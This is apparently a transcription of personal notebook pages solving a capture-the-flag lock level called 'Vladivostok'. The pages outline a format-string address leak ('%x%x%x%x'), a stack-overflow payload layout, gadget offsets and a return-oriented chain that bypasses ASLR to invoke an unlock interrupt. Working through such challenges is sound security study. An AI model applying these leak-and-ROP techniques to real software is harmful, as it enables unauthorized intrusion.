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62 lines
1.4 KiB
Markdown
62 lines
1.4 KiB
Markdown
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`Taken verbatim from my notebook`
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# Page 1
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```
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Vladivostok ASLR bypass?
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username[8]: 0x242b
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password[ ]
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aslr_base = r11
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aslr_address = normal - 0x4000 + aslr_base
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Have to call 0x10 directly?
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INT 7f:
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Takes no arguments (THE LESSON WAS)
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7f passed in SR (ROP CHAINING)
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All calls to INT wrapped in (+ASLR BYPASS)
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push/pop SR?
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Neat?
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41414141[r10][r11][ret]
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FUCKING PRINTF?
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Things I have:
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printf(username, ...)
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buffer overflow on stack
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Things I need
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Address on stack?
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Flow: 1. enter "username"
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2. "username" printed
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<- Create payload
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3. enter "password"
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4. buffer overflow
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```
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# Page 2
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```
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The Hack (Vladivostok)
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Uname payload: "%x%x%x%x"
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output %printf
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Pword payload: "AAAA(r10)(r11)(pc)[args...]"
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Useful locations:
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+2aa: pop sr
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+2ac: add 8, sp
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+2ae: __check_password
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+56c: mov.b @sp, r15;
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sxt r15 ; pop.b r15
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incd sp ;
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ret ;
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+4f4: swpb r15 ;
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mov r15, sr ;
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bis #8000, sr ; INT
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call 0x10 ;
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... ;
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ret ;
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[popb]7f7f[INT]
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